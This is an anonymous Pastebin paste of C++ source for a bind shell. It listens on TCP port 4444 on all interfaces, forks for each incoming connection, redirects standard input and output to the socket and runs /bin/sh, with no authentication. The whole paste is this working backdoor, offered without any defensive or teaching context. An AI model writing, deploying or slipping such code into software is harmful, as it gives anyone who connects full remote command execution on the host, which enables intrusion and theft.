Guest User

Untitled

a guest
Mar 30th, 2024
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.03 KB | None | 0 0
  1. #include <iostream>
  2. #include <unistd.h>
  3. #include <sys/socket.h>
  4. #include <netinet/in.h>
  5. #include <arpa/inet.h>
  6. #include <cstring>
  7. #include <cstdlib>
  8. #include <cerrno>
  9.  
  10. using namespace std;
  11.  
  12. void handleConnection(int clientSocket) {
  13.     if (dup2(clientSocket, 0) == -1 || dup2(clientSocket, 1) == -1 || dup2(clientSocket, 2) == -1) {
  14.         cerr << "Error duplicating file descriptors: " << strerror(errno) << endl;
  15.         close(clientSocket);
  16.         exit(1);
  17.     }
  18.  
  19.     execl("/bin/sh", "sh", NULL);
  20.  
  21.     close(clientSocket);
  22. }
  23.  
  24. int main() {
  25.     int serverSocket = socket(AF_INET, SOCK_STREAM, 0);
  26.     if (serverSocket == -1) {
  27.         cerr << "Error creating socket: " << strerror(errno) << endl;
  28.         return 1;
  29.     }
  30.  
  31.     struct sockaddr_in serverAddr;
  32.     serverAddr.sin_family = AF_INET;
  33.     serverAddr.sin_addr.s_addr = INADDR_ANY;
  34.     serverAddr.sin_port = htons(4444); // Port to listen on
  35.  
  36.     if (bind(serverSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == -1) {
  37.         cerr << "Error binding socket: " << strerror(errno) << endl;
  38.         close(serverSocket);
  39.         return 1;
  40.     }
  41.  
  42.     if (listen(serverSocket, 5) == -1) {
  43.         cerr << "Error listening for connections: " << strerror(errno) << endl;
  44.         close(serverSocket);
  45.         return 1;
  46.     }
  47.  
  48.     cout << "Waiting for incoming connections..." << endl;
  49.  
  50.     while (true) {
  51.         struct sockaddr_in clientAddr;
  52.         socklen_t clientAddrSize = sizeof(clientAddr);
  53.         int clientSocket = accept(serverSocket, (struct sockaddr*)&clientAddr, &clientAddrSize);
  54.         if (clientSocket == -1) {
  55.             cerr << "Error accepting connection: " << strerror(errno) << endl;
  56.             continue;
  57.         }
  58.  
  59.         cout << "Connection accepted from " << inet_ntoa(clientAddr.sin_addr) << endl;
  60.  
  61.         if (fork() == 0) {
  62.             close(serverSocket);
  63.             handleConnection(clientSocket);
  64.             exit(0);
  65.         }
  66.  
  67.         close(clientSocket);
  68.     }
  69.  
  70.     close(serverSocket);
  71.  
  72.     return 0;
  73. }
  74.  
Advertisement
Add Comment
Please, Sign In to add comment